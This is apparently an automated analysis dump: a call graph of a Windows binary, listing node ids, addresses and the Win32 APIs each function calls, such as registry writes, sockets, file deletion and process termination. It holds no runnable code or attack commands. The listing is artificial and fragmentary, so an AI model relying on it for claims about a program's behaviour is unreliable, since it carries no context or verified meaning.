CharUpperBuffW _wcslen 11494->11496 11497 7a0245 _wcslen 11496->11497 11500 7a01f2 11496->11500 11498 7a02b4 _wcslen 11497->11498 11502 7a0258 11497->11502 11499 7a0314 _wcslen 11498->11499 11504 7a02c7 11498->11504 11505 7a0327 11499->11505 11500->11497 11501 7a022a IsWindowVisible 11500->11501 11501->11495 11502->11498 11503 7a0290 IsWindowEnabled 11502->11503 11503->11495 11504->11495 11504->11499 11505->11495 11507 7a0551 11505->11507 11510 7a0577 11505->11510 11519 7a04fb 11505->11519 11506 717a59 4 API calls 11506->11495 11520 772178 SendMessageW 11507->11520 11509 7a0589 11521 772149 11509->11521 11510->11509 11512 7a05ad 11510->11512 11513 7a05e2 SendMessageW 11512->11513 11514 7a05f7 11512->11514 11512->11519 11513->11495 11515 7a0609 SendMessageW 11514->11515 11516 7a0632 11514->11516 11515->11495 11516->11495 11517 7a067b 11516->11517 11516->11519 11518 7a068b SendMessageW 11517->11518 11518->11495 11519->11495 11519->11506 11520->11495 11526 772178 SendMessageW 11521->11526 11523 772154 11524 772171 11523->11524 11525 772191 5 API calls 11523->11525 11524->11495 11525->11524 11526->11523 11291 712060 11292 712073 11291->11292 11303 7121e4 11292->11303 11295 753403 GetParent 11296 7121e4 GetWindowLongW 11295->11296 11300 71208c 11296->11300 11298 753423 DefDlgProcW 11299 7120c6 11306 7120d8 11299->11306 11300->11298 11300->11299 11302 7120d2 11304 7121ef GetWindowLongW 11303->11304 11305 712081 11303->11305 11304->11305 11305->11295 11305->11300 11307 7121e4 GetWindowLongW 11306->11307 11308 7120f9 GetSysColor 11307->11308 11312 712110 11308->11312 11309 753614 SetBkColor 11310 753626 11309->11310 11310->11310 11311 712161 11313 7121a7 11311->11313 11314 71216a GetSysColor 11311->11314 11312->11309 11312->11311 11317 753592 GetWindowDC GetPixel 11312->11317 11315 712173 SetTextColor 11313->11315 11314->11315 11315->11309 11316 712184 SetBkMode GetStockObject 11315->11316 11316->11302 11318 7535ae GetPixel 11317->11318 11319 7535fb ReleaseDC 11317->11319 11318->11319 11320 7535c7 GetPixel 11318->11320 11319->11311 11320->11319 11321 7535e0 GetPixel 11320->11321 11321->11319 11322 7a406f 11323 7a408e 11322->11323 11324 7a40cb 11323->11324 11325 7a40f1 GetSysColor 11323->11325 11326 7a40d4 GetWindowRect 11323->11326 11325->11324 11326->11325 11530 7a21ed 11531 7a2203 11530->11531 11532 7a225d GetClientRect 11531->11532 11533 7a2224 11531->11533 11532->11533 11327 7a8162 GetForegroundWindow GetFocus 11328 7a81df 11327->11328 11329 7a8178 11327->11329 11329->11328 11330 7121e4 GetWindowLongW 11329->11330 11331 7a8199 11330->11331 11331->11328 11332 7a81c4 SendMessageW 11331->11332 11332->11328 11534 7a81e2 11535 7a81eb 11534->11535 11536 7a820d 11535->11536 11537 7a8211 DestroyWindow 11535->11537 11537->11536 11333 792163 11334 792180 11333->11334 11335 7921b4 socket 11334->11335 11336 79219b 11334->11336 11337 7921cd 11335->11337 11338 792231 bind 11337->11338 11339 7921e1 WSAGetLastError 11337->11339 11340 792243 WSAGetLastError 11338->11340 11343 79227a 11338->11343 11339->11336 11341 792259 closesocket 11340->11341 11341->11336 11344 717a59 4 API calls 11343->11344 11345 7922e3 11344->11345 11346 717a59 4 API calls 11345->11346 11346->11336 11538 7a61e1 11539 73019b 2 API calls 11538->11539 11540 7a61eb GetMenuItemInfoW 11539->11540 11541 7a622a 11540->11541 11544 7a5df3 11540->11544 11542 7a6236 SetMenuItemInfoW 11541->11542 11541->11544 11543 7a6257 DrawMenuBar 11542->11543 11542->11544 11543->11544 10866 720e6f 10867 720e83 10866->10867 10870 7213d5 10866->10870 10868 720e95 10867->10868 10869 73016b 2 API calls 10867->10869 10873 7203a4 10868->10873 10874 722ad0 10868->10874 10869->10868 10870->10868 10872 71be6d 2 API calls 10870->10872 10872->10868 10875 722f70 10874->10875 10881 722b36 10874->10881 10876 722fb1 __Init_thread_footer 10875->10876 10882 722e3b 10875->10882 10876->10882 10877 722cef 10884 722cfc 10877->10884 11068 7960a2 10877->11068 10879 73016b 2 API calls 10879->10881 10880 73019b 2 API calls 10880->10881 10881->10877 10881->10879 10881->10880 10881->10882 10882->10873 10883 722d87 10883->10882 10887 717953 CloseHandle 10883->10887 10904 7895f6 10883->10904 10909 788e39 10883->10909 10917 79eb63 10883->10917 10932 786561 10883->10932 10938 786d2d 10883->10938 10944 784ad5 10883->10944 10948 77e9c5 GetFileAttributesW 10883->10948 10950 717923 10883->10950 10955 78874a 10883->10955 10972 79ac49 10883->10972 10976 799eea 10883->10976 10979 72be75 10883->10979 11016 785ed5 10883->11016 11026 79a4b4 10883->11026 11030 7865b4 10883->11030 11034 79cd16 10883->11034 11063 72f95e 10883->11063 10884->10882 10884->10883 10885 71be6d 2 API calls 10884->10885 10885->10883 10887->10883 10905 789607 10904->10905 10906 789655 WritePrivateProfileStringW 10905->10906 10907 78966b WritePrivateProfileStringW 10906->10907 10908 789677 10906->10908 10907->10908 10908->10883 10910 788e4a 10909->10910 10911 73019b 2 API calls 10910->10911 10912 788e54 10911->10912 10913 7141a6 2 API calls 10912->10913 10914 788e5e 10913->10914 10915 788eac GetPrivateProfileStringW 10914->10915 10916 788ecf 10915->10916 10916->10883 10918 79eb7a 10917->10918 11072 717a14 10918->11072 10920 79eb9c 10922 79ebc1 10920->10922 10923 79ec26 10920->10923 10921 71be6d 2 API calls 10924 79ecbe 10921->10924 10925 717af4 4 API calls 10922->10925 10931 79ec38 10922->10931 10923->10921 10923->10931 11077 779b57 10924->11077 10927 79ebfa 10925->10927 10928 717af4 4 API calls 10927->10928 10930 79ec21 10928->10930 11087 717a59 10930->11087 10931->10883 10933 786577 10932->10933 11093 77db69 10933->11093 10935 78657f 10936 786583 GetLastError 10935->10936 10937 786598 10935->10937 10936->10937 10937->10883 10940 786d47 10938->10940 11107 77e783 10940->11107 10941 717a59 4 API calls 10942 786dd7 10941->10942 10942->10883 10943 786d8e 10943->10941 10945 784ae8 10944->10945 11111 77da81 10945->11111 10947 784af0 10947->10883 10949 77e9d1 10948->10949 10949->10883 10951 717953 CloseHandle 10950->10951 10952 71792b 10951->10952 10953 717953 CloseHandle 10952->10953 10954 71793a 10953->10954 10954->10883 10956 78875a 10955->10956 10957 7888f7 GetCurrentDirectoryW SetCurrentDirectoryW 10956->10957 10964 788973 10956->10964 10958 788921 10957->10958 10957->10964 11119 77e387 lstrlenW 10958->11119 10961 77e9c5 GetFileAttributesW 10962 788938 10961->10962 10963 788940 GetFileAttributesW SetFileAttributesW 10962->10963 10970 7889cb 10962->10970 10965 788969 SetCurrentDirectoryW 10963->10965 10966 7889b1 10963->10966 10964->10883 10965->10964 10967 788a02 SetCurrentDirectoryW 10966->10967 10968 7889b5 SetCurrentDirectoryW 10966->10968 10967->10964 10968->10970 11124 789f9f FindFirstFileW 10970->11124 10971 7889ea 10971->10967 10973 79ac65 10972->10973 11138 77dc9c CreateToolhelp32Snapshot Process32FirstW 10973->11138 10975 79ac74 10975->10883 11143 7988b6 10976->11143 10978 799efa 10978->10883 10980 72be8d 10979->10980 10981 73016b 2 API calls 10980->10981 10987 72bf0e 10980->10987 10982 72bea6 10981->10982 10983 73019b 2 API calls 10982->10983 10984 72beb7 10983->10984 10985 717953 CloseHandle 10984->10985 10986 72bec2 10985->10986 10988 717953 CloseHandle 10986->10988 10989 72fdc9 3 API calls 10987->10989 10992 72bf33 10987->10992 10990 72bed1 10988->10990 10989->10992 10991 717953 CloseHandle 10990->10991 10993 72bee7 10991->10993 10994 72bf4e 10992->10994 10995 768ff9 10992->10995 10996 716e52 5 API calls 10993->10996 10997 717a14 4 API calls 10994->10997 10998 73019b 2 API calls 10995->10998 10999 72bef8 10996->10999 11000 72bf56 10997->11000 11001 768ffe 10998->11001 11002 72bf00 10999->11002 11003 768f72 10999->11003 11156 72bfbc 11000->11156 11005 7141c9 2 API calls 11001->11005 11010 769012 11001->11010 11008 716b12 9 API calls 11002->11008 11006 717923 CloseHandle 11003->11006 11005->11010 11006->10987 11007 72bf65 11009 717a59 4 API calls 11007->11009 11007->11010 11008->10987 11011 72bf79 11009->11011 11012 72bfb3 11011->11012 11013 717953 CloseHandle 11011->11013 11012->10883 11014 72bfa7 11013->11014 11014->11012 11015 717923 CloseHandle 11014->11015 11015->11012 11017 785f89 11016->11017 11020 785ef4 11016->11020 11019 786011 11017->11019 11180 77d836 11017->11180 11019->10883 11020->11017 11021 717af4 4 API calls 11020->11021 11022 785f60 11021->11022 11022->11017 11199 77dc8e 11022->11199 11024 785f6f 11024->11017 11025 77da81 4 API calls 11024->11025 11025->11017 11027 79a4c7 11026->11027 11029 79a4d6 11027->11029 11202 7817be 11027->11202 11029->10883 11031 7865c7 11030->11031 11032 77e387 4 API calls 11031->11032 11033 7865d1 11032->11033 11033->10883 11035 79cd39 11034->11035 11036 79ce76 RegCreateKeyExW 11035->11036 11037 79ce0f RegConnectRegistryW 11035->11037 11039 79cdda 11035->11039 11042 79cf0e 11036->11042 11043 79cead 11036->11043 11037->11036 11037->11039 11039->10883 11040 79d1d6 RegCloseKey 11040->11039 11041 79d1e9 RegCloseKey 11040->11041 11041->11039 11042->11040 11044 79cf44 11042->11044 11047 79cf96 11042->11047 11043->11039 11045 79ceff RegCloseKey 11043->11045 11046 79cf4e _wcslen 11044->11046 11045->11039 11062 79cf70 11046->11062 11048 79cfbf 11047->11048 11051 79d047 11047->11051 11050 79cfc9 _wcslen 11048->11050 11049 79d2bb RegSetValueExW 11049->11040 11061 79d01f 11049->11061 11052 79cfeb 11050->11052 11053 79d070 11051->11053 11056 79d156 11051->11056 11054 79d000 RegSetValueExW 11052->11054 11055 73019b 2 API calls 11053->11055 11054->11040 11054->11061 11057 79d09f 11055->11057 11060 79d17f 11056->11060 11056->11062 11059 79d106 RegSetValueExW 11057->11059 11058 79d1a1 RegSetValueExW 11058->11040 11058->11061 11059->11061 11060->11058 11061->11040 11062->11049 11062->11061 11064 72f972 11063->11064 11065 76fac0 Sleep 11064->11065 11066 72f97a timeGetTime 11064->11066 11067 72f990 11066->11067 11067->10883 11069 7960cc 11068->11069 11071 796156 11068->11071 11070 796137 CharUpperBuffW _wcslen 11069->11070 11069->11071 11070->11071 11071->10884 11073 73019b 2 API calls 11072->11073 11074 717a39 11073->11074 11075 73016b 2 API calls 11074->11075 11076 717a47 11075->11076 11076->10920 11078 779b6d 11077->11078 11079 717a14 4 API calls 11078->11079 11080 779b81 11079->11080 11081 717af4 __CxxThrowException __CxxThrowException __CxxThrowException __CxxThrowException 11080->11081 11082 779c42 11080->11082 11085 779c26 11080->11085 11081->11080 11083 71be6d 2 API calls 11082->11083 11084 779c51 11082->11084 11083->11084 11084->10930 11086 717af4 4 API calls 11085->11086 11086->11082 11088 717a65 11087->11088 11089 717a9e 11087->11089 11092 73016b 2 API calls 11088->11092 11090 71be6d 2 API calls 11089->11090 11091 717a78 11089->11091 11090->11091 11091->10931 11092->11091 11094 77db88 11093->11094 11095 77e9c5 GetFileAttributesW 11094->11095 11096 77dbae 11095->11096 11097 77dbd4 FindFirstFileW 11096->11097 11098 77dc60 FindClose 11097->11098 11104 77dbf3 11097->11104 11103 77dc6b 11098->11103 11099 77dc3b FindNextFileW 11101 77dc4f 11099->11101 11099->11104 11100 71be6d 2 API calls 11100->11104 11101->11104 11102 717af4 4 API calls 11102->11104 11103->10935 11104->11098 11104->11099 11104->11100 11104->11102 11105 77dc2c DeleteFileW 11104->11105 11105->11099 11106 77dc57 FindClose 11105->11106 11106->11103 11108 7522f0 11107->11108 11109 77e790 GetShortPathNameW 11108->11109 11110 77e7b8 11109->11110 11110->10943 11112 7179ed 11111->11112 11113 77dab6 GetFileAttributesW 11112->11113 11114 77daca GetLastError 11113->11114 11118 77dae3 11113->11118 11115 77dad7 CreateDirectoryW 11114->11115 11116 77dae5 11114->11116 11115->11116 11115->11118 11117 77db34 CreateDirectoryW 11116->11117 11116->11118 11117->11118 11118->10947 11120 77e3a5 GetFileAttributesW 11119->11120 11121 77e3cf 11119->11121 11120->11121 11122 77e3b1 FindFirstFileW 11120->11122 11121->10961 11121->10964 11122->11121 11123 77e3c2 FindClose 11122->11123 11123->11121 11125 78a03a FindClose 11124->11125 11130 789fc9 11124->11130 11126 78a04b FindFirstFileW 11125->11126 11127 78a0e2 11125->11127 11128 78a0d9 FindClose 11126->11128 11136 78a060 11126->11136 11127->10971 11128->11127 11129 78a028 FindNextFileW 11129->11125 11129->11130 11130->11129 11133 789ff7 GetFileAttributesW SetFileAttributesW 11130->11133 11132 78a0c7 FindNextFileW 11132->11128 11132->11136 11133->11130 11134 78a0eb FindClose 11133->11134 11134->11127 11135 78a0a0 SetCurrentDirectoryW 11135->11136 11136->11128 11136->11132 11136->11135 11137 78a0c0 SetCurrentDirectoryW 11136->11137 11137->11132 11142 77dce2 11138->11142 11139 77dd9b CloseHandle 11139->10975 11140 77dce9 Process32NextW 11140->11139 11140->11142 11141 717af4 4 API calls 11141->11142 11142->11139 11142->11140 11142->11141 11148 7988ed 11143->11148 11146 798c45 11147 798c50 GetCurrentProcess TerminateProcess 11146->11147 11151 798c5f 11147->11151 11149 798932 11148->11149 11152 730000 11148->11152 11149->10978 11150 798e36 FreeLibrary 11150->11149 11151->11149 11151->11150 11153 730015 11152->11153 11154 7300ad CreateProcessW 11153->11154 11155 73007b 11153->11155 11154->11155 11155->11146 11155->11151 11157 72c003 11156->11157 11158 72bfc7 11156->11158 11159 77d249 2 API calls 11157->11159 11161 77d2da 11157->11161 11158->11157 11160 72bfd6 11158->11160 11159->11157 11163 72bff4 11160->11163 11164 72c009 11160->11164 11161->11007 11163->11007 11171 72c1f1 11164->11171 11169 718774 4 API calls 11170 72c03c 11169->11170 11170->11163 11172 73019b 2 API calls 11171->11172 11173 72c208 11172->11173 11174 73016b 2 API calls 11173->11174 11175 72c021 11174->11175 11176 71adc1 11175->11176 11179 71add2 11176->11179 11177 71ae07 11177->11169 11177->11170 11178 71b050 2 API calls 11178->11179 11179->11177 11179->11178 11181 77d853 11180->11181 11182 77e9c5 GetFileAttributesW 11181->11182 11183 77d88d 11182->11183 11184 77e9c5 GetFileAttributesW 11183->11184 11185 77d8a7 11184->11185 11186 77d8d5 FindFirstFileW 11185->11186 11187 77da23 FindClose 11186->11187 11197 77d8f8 11186->11197 11190 77da21 11187->11190 11188 77d9ef FindNextFileW 11188->11197 11189 717af4 4 API calls 11189->11197 11190->11019 11191 77dc8e 4 API calls 11191->11197 11192 77da12 FindClose 11192->11190 11193 77d984 11195 77d9ad MoveFileW 11193->11195 11196 77d99d DeleteFileW 11193->11196 11194 77da5c CopyFileExW 11194->11197 11195->11197 11196->11197 11197->11187 11197->11188 11197->11189 11197->11191 11197->11192 11197->11193 11197->11194 11198 77d9ca DeleteFileW 11197->11198 11198->11197 11200 77e387 4 API calls 11199->11200 11201 77dc95 11200->11201 11201->11024 11203 7817cb 11202->11203 11204 73016b 2 API calls 11203->11204 11205 7817d2 11204->11205 11208 77fbca 11205->11208 11207 78180c 11207->11029 11209 71c269 11208->11209 11210 77fbdd CharLowerBuffW 11209->11210 11213 77fbf0 11210->11213 11211 77fbfa 11211->11207 11212 73019b 2 API calls 11214 77fc6e 11212->11214 11213->11211 11213->11212 11214->11211 11215 73016b 2 API calls 11214->11215 11216 77fce7 11215->11216 11217 73019b 2 API calls 11216->11217 11217->11211 11347 7a6065 11348 7a6073 11347->11348 11357 7a5df1 11347->11357 11349 7a607f SendMessageW 11348->11349 11351 7a60b6 11349->11351 11349->11357 11352 7a610d _wcslen 11351->11352 11353 7a60ef SendMessageW 11351->11353 11358 7a80fb 11351->11358 11354 7a6118 _wcslen 11352->11354 11355 7a6131 SendMessageW 11352->11355 11353->11351 11353->11357 11354->11355 11354->11357 11355->11357 11359 7a810d 11358->11359 11360 7a811e _wcslen 11359->11360 11361 7a8116 11359->11361 11360->11361 11361->11351 11545 7a41e5 11546 7a41f2 11545->11546 11547 7a426d 11546->11547 11548 7a427a SendMessageW 11546->11548 11549 7a428f SendMessageW 11546->11549 11548->11549 11550 7a42aa SetWindowPos 11549->11550 11554 7a42b9 11549->11554 11550->11554 11551 7a80fb _wcslen 11551->11554 11552 7a42f1 _wcslen 11552->11554 11553 7a4313 SendMessageW 11553->11554 11555 7a4336 SendMessageW 11553->11555 11554->11547 11554->11551 11554->11552 11554->11553 11554->11555 11555->11554 11556 7760d7 11557 7760e6 InvalidateRect 11556->11557 11558 7760f3 11556->11558 11557->11558 11362 72c053 11363 72c067 11362->11363 11366 72c08e 11363->11366 11365 72c070 11367 72c0ae 11366->11367 11368 72c170 4 API calls 11367->11368 11369 72c0cb 11367->11369 11368->11369 11370 7690c8 OutputDebugStringW 11369->11370 11371 72c0fb 11369->11371 11371->11365 11372 712150 11373 712154 11372->11373 11374 712161 11373->11374 11381 753592 GetWindowDC GetPixel 11373->11381 11375 7121a7 11374->11375 11376 71216a GetSysColor 11374->11376 11377 712173 SetTextColor 11375->11377 11376->11377 11378 753614 SetBkColor 11377->11378 11379 712184 SetBkMode GetStockObject 11377->11379 11380 753626 11378->11380 11382 7535ae GetPixel 11381->11382 11383 7535fb ReleaseDC 11381->11383 11382->11383 11384 7535c7 GetPixel 11382->11384 11383->11374 11384->11383 11385 7535e0 GetPixel 11384->11385 11385->11383 10216 7394d1 10217 7394d9 10216->10217 10223 74510a 10217->10223 10220 739508 10227 742d58 10220->10227 10222 739513 10224 7394ed DeleteCriticalSection 10223->10224 10225 745120 10223->10225 10224->10217 10224->10220 10225->10224 10226 742d58 _free 2 API calls 10225->10226 10226->10224 10228 742d8c 10227->10228 10229 742d63 RtlFreeHeap 10227->10229 10228->10222 10229->10228 10230 742d78 10229->10230 10231 742d7e GetLastError 10230->10231 10231->10228 11386 746156 11388 746164 11386->11388 11387 746172 11388->11387 11390 750164 11388->11390 11395 743bb0 11390->11395 11392 75017f 11393 742d58 _free 2 API calls 11392->11393 11394 750189 11393->11394 11394->11387 11396 743bbe 11395->11396 11398 743bec 11395->11398 11397 743bd9 RtlAllocateHeap 11396->11397 11396->11398 11397->11396 11397->11398 11398->11392 11559 7761d1 11560 7761df GetMenu OleSetMenuDescriptor 11559->11560 11561 7761fe 11559->11561 11560->11561 10290 71105b 10293 71522e 10290->10293 10292 71106a 10294 71523e 10293->10294 10295 715337 RegOpenKeyExW 10294->10295 10296 754bc0 RegQueryValueExW 10295->10296 10300 715359 10295->10300 10297 754c56 RegCloseKey 10296->10297 10298 754bdd 10296->10298 10297->10300 10307 754c68 10297->10307 10299 73019b 2 API calls 10298->10299 10301 754bf6 10299->10301 10300->10292 10308 7141a6 10301->10308 10304 754c1e 10304->10297 10305 754cbc _wcslen 10306 754ccb _wcslen 10305->10306 10305->10307 10306->10307 10307->10300 10307->10305 10311 73016b 10308->10311 10310 7141b8 RegQueryValueExW 10310->10304 10312 730170 10311->10312 10313 73018a 10312->10313 10314 7309fe 10312->10314 10316 7309ef __CxxThrowException 10312->10316 10313->10310 10315 730a0c __CxxThrowException 10314->10315 10317 730a22 10315->10317 10316->10314 10317->10310 11399 77815c 11400 779202 11399->11400 11401 77816a VariantClear 11400->11401 11402 71c05d 11403 71c06b 11402->11403 11404 73016b 2 API calls 11403->11404 11406 71c083 11403->11406 11405 760e26 11404->11405 11407 742158 11408 74216a 11407->11408 11410 742170 11407->11410 11409 74206a 2 API calls 11408->11409 11409->11410 11411 746045 11413 746053 11411->11413 11412 746061 11413->11412 11414 750164 3 API calls 11413->11414 11414->11412 11562 7900c8 11563 7900df 11562->11563 11564 790103 CharUpperBuffW 11563->11564 11565 790118 11564->11565 11415 7a6149 11416 7a6175 SendMessageW 11415->11416 11417 7a5df1 11416->11417 10397 711044 10400 712735 10397->10400 10399 71104a 10401 71276b 10400->10401 10402 712967 GetStdHandle 10401->10402 10403 7539c1 10402->10403 10404 7129bc 10402->10404 10403->10404 10405 7539ca 10403->10405 10407 7129c9 OleInitialize 10404->10407 10406 73016b 2 API calls 10405->10406 10408 7539d1 10406->10408 10407->10399 10409 7539e6 CloseHandle 10408->10409 10409->10404 11418 77e141 11419 77e163 11418->11419 11420 71be6d 2 API calls 11419->11420 11421 77e178 11419->11421 11420->11421 11569 7841ce 11571 7841e0 11569->11571 11570 7842bc PeekMessageW 11573 7842ce 11570->11573 11574 784233 11570->11574 11572 784225 GetInputState 11571->11572 11571->11573 11571->11574 11572->11573 11572->11574 11574->11570 11574->11573 11575 784273 TranslateAcceleratorW 11574->11575 11576 7842a1 TranslateMessage DispatchMessageW 11574->11576 11575->11574 11576->11574 11577 7980ce 11578 7980e2 11577->11578 11579 7982bf 11578->11579 11580 7982ec 11578->11580 11582 7982a6 11578->11582 11583 7982c1 11578->11583 11584 71be6d __CxxThrowException __CxxThrowException 11578->11584 11587 798192 CharUpperBuffW 11578->11587 11588 798234 CharUpperBuffW 11578->11588 11589 717af4 __CxxThrowException __CxxThrowException __CxxThrowException __CxxThrowException 11578->11589 11579->11580 11581 717a59 4 API calls 11579->11581 11581->11580 11585 717af4 4 API calls 11582->11585 11586 717af4 4 API calls 11583->11586 11584->11578 11585->11579 11586->11579 11587->11578 11588->11578 11589->11578 11422 7a2143 11423 7a2158 11422->11423 11424 717a59 4 API calls 11423->11424 11425 7a2167 11423->11425 11424->11425 11590 7121cc 11591 712200 11590->11591 11592 7121ef GetWindowLongW 11590->11592 11592->11591 11426 74e04a 11427 74e056 11426->11427 11428 74e0b9 11427->11428 11429 74e0a8 _abort 11427->11429 11429->11428 11257 7201cd 11261 71f7b0 11257->11261 11258 71fa91 11259 7645f4 __Init_thread_footer 11259->11261 11260 71be6d 2 API calls 11260->11261 11261->11258 11261->11259 11261->11260 10199 711033 10202 716686 10199->10202 10201 711038 10203 7166f4 10202->10203 10206 7155cc 10203->10206 10205 716791 10205->10201 10209 7155f8 10206->10209 10210 7155eb 10209->10210 10211 715605 10209->10211 10210->10205 10211->10210 10212 71560c RegOpenKeyExW 10211->10212 10212->10210 10213 715626 RegQueryValueExW 10212->10213 10214 715647 10213->10214 10215 71565c RegCloseKey 10213->10215 10214->10215 10215->10210 11430 7a2039 GetForegroundWindow 11431 7742cc 11430->11431 11432 7a205a GetCaretPos 11431->11432 11433 7a20a6 ClientToScreen GetForegroundWindow 11432->11433 11434 7a2068 11432->11434 11433->11434 11435 712035 11436 73016b 2 API calls 11435->11436 11437 71204c 11436->11437 11438 786033 11439 786047 11438->11439 11440 77e9c5 GetFileAttributesW 11439->11440 11441 786070 11440->11441 11442 7860d5 CreateHardLinkW 11441->11442 11444 786077 11441->11444 11443 7860ef 11442->11443 11443->11444 11445 786103 GetLastError 11443->11445 11445->11444 11446 786110 11445->11446 11446->11444 11447 786123 DeleteFileW 11446->11447 11448 78613a 11447->11448 11449 78614c CreateHardLinkW 11448->11449 11449->11444 11593 71e1a0 11595 71e219 11593->11595 11598 71e53b 11593->11598 11594 71be6d 2 API calls 11596 71e2ea 11594->11596 11595->11594 11595->11596 11595->11598 11597 73016b 2 API calls 11596->11597 11596->11598 11597->11598 11599 7481a5 11600 7481cd 11599->11600 11603 748087 11600->11603 11604 748090 11603->11604 11605 7501dd __startOneArgErrorHandling __raise_exc 11604->11605 11606 7480b0 11605->11606 10373 7426a7 10376 74d596 10373->10376 10375 7426b6 10377 74d5b3 10376->10377 10378 74d5af 10376->10378 10377->10378 10380 744f8b 10377->10380 10378->10375 10381 744f97 10380->10381 10384 74543f 10381->10384 10383 744fad 10383->10377 10387 74544b 10384->10387 10386 745458 10386->10383 10387->10386 10388 745390 10387->10388 10393 74500d 10388->10393 10390 7453a2 10391 742d58 _free 2 API calls 10390->10391 10392 745401 10391->10392 10392->10387 10394 74501a 10393->10394 10395 745045 RtlAllocateHeap 10394->10395 10396 745058 10394->10396 10395->10394 10395->10396 10396->10390 10410 71d4a4 10411 71d4d6 10410->10411 10412 73016b 2 API calls 10411->10412 10413 71d539 10412->10413 10414 73016b 2 API calls 10413->10414 10415 71d61e 10414->10415 10416 71be6d __CxxThrowException __CxxThrowException 10415->10416 10417 71d8c1 10415->10417 10416->10415 11607 79e0ac 11608 717a14 4 API calls 11607->11608 11609 79e0cc 11608->11609 11610 73019b 2 API calls 11609->11610 11611 79e0d7 11610->11611 11612 7141a6 2 API calls 11611->11612 11613 79e0e2 11612->11613 11614 73019b 2 API calls 11613->11614 11615 79e0e8 11614->11615 11616 7141a6 2 API calls 11615->11616 11623 79e0f3 11616->11623 11617 79e301 11618 79e313 11617->11618 11620 717b17 4 API calls 11617->11620 11619 717a59 4 API calls 11618->11619 11622 79e320 11619->11622 11620->11618 11621 717b17 4 API calls 11621->11623 11623->11617 11623->11621 10418 7527a2 10421 712a52 10418->10421 10420 7527af 10422 712a91 mciSendStringW 10421->10422 10423 7539f4 DestroyWindow 10421->10423 10424 712d08 10422->10424 10425 712aad 10422->10425 10432 753a00 10423->10432 10424->10425 10427 712d17 UnregisterHotKey 10424->10427 10426 712abb 10425->10426 10425->10432 10429 753a45 10426->10429 10431 712ad0 10426->10431 10427->10424 10428 753a1e FindClose 10428->10432 10433 753a69 10429->10433 10434 753a58 FreeLibrary 10429->10434 10431->10433 10437 712ade 10431->10437 10432->10428 10432->10429 10439 717953 10432->10439 10435 753a7d VirtualFree 10433->10435 10438 712b4b 10433->10438 10434->10429 10435->10433 10436 712b3a CoUninitialize 10436->10438 10437->10436 10438->10420 10440 71795d 10439->10440 10441 71796c 10439->10441 10440->10432 10441->10440 10442 717971 CloseHandle 10441->10442 10442->10440 11624 7761af 11625 7761cb 11624->11625 11626 7761bb GetClientRect 11624->11626 11626->11625 11627 71c190 11628 71c1a1 11627->11628 11630 71c1bc 11627->11630 11629 71c1a9 CharUpperBuffW 11628->11629 11629->11630 11631 772093 9 API calls 11632 772104 6 API calls 11631->11632 11450 7a001f 11451 7a0035 11450->11451 11453 7a00b3 11451->11453 11454 772191 GetWindowRect 11451->11454 11455 7721b3 11454->11455 11456 772281 11455->11456 11457 77224e PostMessageW Sleep PostMessageW Sleep 11455->11457 11456->11453 11457->11455 11457->11456 10232 748792 10233 7487a8 10232->10233 10234 7487ba 10233->10234 10236 750d24 10233->10236 10239 750421 10236->10239 10238 750d3f 10238->10234 10240 75042d 10239->10240 10242 75043b 10240->10242 10243 7509fb 10240->10243 10242->10238 10244 750a18 10243->10244 10246 750a2d 10244->10246 10262 75073a CreateFileW 10244->10262 10246->10242 10247 750b21 GetFileType 10248 750b2c GetLastError __dosmaperr CloseHandle 10247->10248 10253 750b73 10247->10253 10248->10246 10261 750b63 10248->10261 10249 750af6 GetLastError __dosmaperr 10249->10246 10250 750aa4 10250->10247 10250->10249 10263 75073a CreateFileW 10250->10263 10252 750ae9 10252->10247 10252->10249 10254 750c0d 10253->10254 10255 750c1e 10253->10255 10264 748a3e 10254->10264 10255->10246 10257 750c9c CloseHandle 10255->10257 10271 75073a CreateFileW 10257->10271 10259 750cc7 10260 750cd1 GetLastError __dosmaperr 10259->10260 10259->10261 10260->10261 10261->10246 10262->10250 10263->10252 10266 748a4e 10264->10266 10265 748a54 10268 748ad4 10265->10268 10269 748ac8 __dosmaperr 10265->10269 10266->10265 10267 748a92 CloseHandle 10266->10267 10267->10265 10270 748a9e GetLastError 10267->10270 10268->10246 10269->10268 10270->10265 10271->10259 11633 742193 11634 7421a2 11633->11634 11635 74206a 2 API calls 11634->11635 11636 7421bc 11635->11636 11637 74206a 2 API calls 11636->11637 11638 7421c7 11637->11638 11639 788090 11640 7880a8 11639->11640 11641 73016b 2 API calls 11640->11641 11665 788135 11640->11665 11642 7880ca 11641->11642 11643 73019b 2 API calls 11642->11643 11644 7880db 11643->11644 11646 717953 CloseHandle 11644->11646 11645 717a14 4 API calls 11650 788175 11645->11650 11647 7880e6 11646->11647 11649 717953 CloseHandle 11647->11649 11648 71ae12 11 API calls 11648->11650 11651 7880f5 11649->11651 11650->11648 11654 788246 11650->11654 11652 717953 CloseHandle 11651->11652 11653 78810e 11652->11653 11655 716e52 5 API calls 11653->11655 11657 717953 CloseHandle 11654->11657 11662 7881d5 11654->11662 11656 78811f 11655->11656 11658 7881cd 11656->11658 11659 788127 11656->11659 11660 7882bb 11657->11660 11661 717923 CloseHandle 11658->11661 11664 716b12 9 API calls 11659->11664 11660->11662 11663 717923 CloseHandle 11660->11663 11661->11662 11663->11662 11664->11665 11665->11645 11665->11662 10272 711098 10275 715d78 10272->10275 10274 71109d 10276 71bf07 10275->10276 10277 715d8f GetVersionExW 10276->10277 10284 715ddc 10277->10284 10278 715ecc GetCurrentProcess IsWow64Process 10279 715ee8 10278->10279 10280 715f00 LoadLibraryA 10279->10280 10281 7550f2 GetSystemInfo 10279->10281 10282 715f11 GetProcAddress 10280->10282 10283 715f4d GetSystemInfo 10280->10283 10282->10283 10286 715f21 GetNativeSystemInfo 10282->10286 10287 715f27 10283->10287 10284->10278 10285 7550ad 10284->10285 10286->10287 10288 715f32 10287->10288 10289 715f2b FreeLibrary 10287->10289 10288->10274 10289->10288 11458 792010 WSAStartup 11459 792043 11458->11459 11666 74c19d 11668 74c1b4 11666->11668 11667 74c1c6 11668->11667 11669 74c1f4 11668->11669 11670 74c2bc 11668->11670 11669->11667 11671 74c225 MultiByteToWideChar 11669->11671 11670->11667 11672 74c2d5 MultiByteToWideChar 11670->11672 11671->11667 11673 74c241 GetLastError 11671->11673 11672->11667 11673->11667 11675 74c24c 11673->11675 11674 74c28e MultiByteToWideChar 11674->11667 11675->11667 11675->11674 11460 75011f 11461 75012f ___initconout 11460->11461 11462 750139 11460->11462 11461->11462 11463 750145 WriteConsoleW 11462->11463 11464 75013e 11462->11464 11463->11464 10318 76e59a GetLocalTime 10319 76e5c5 10318->10319 11465 7a4116 11466 7a4126 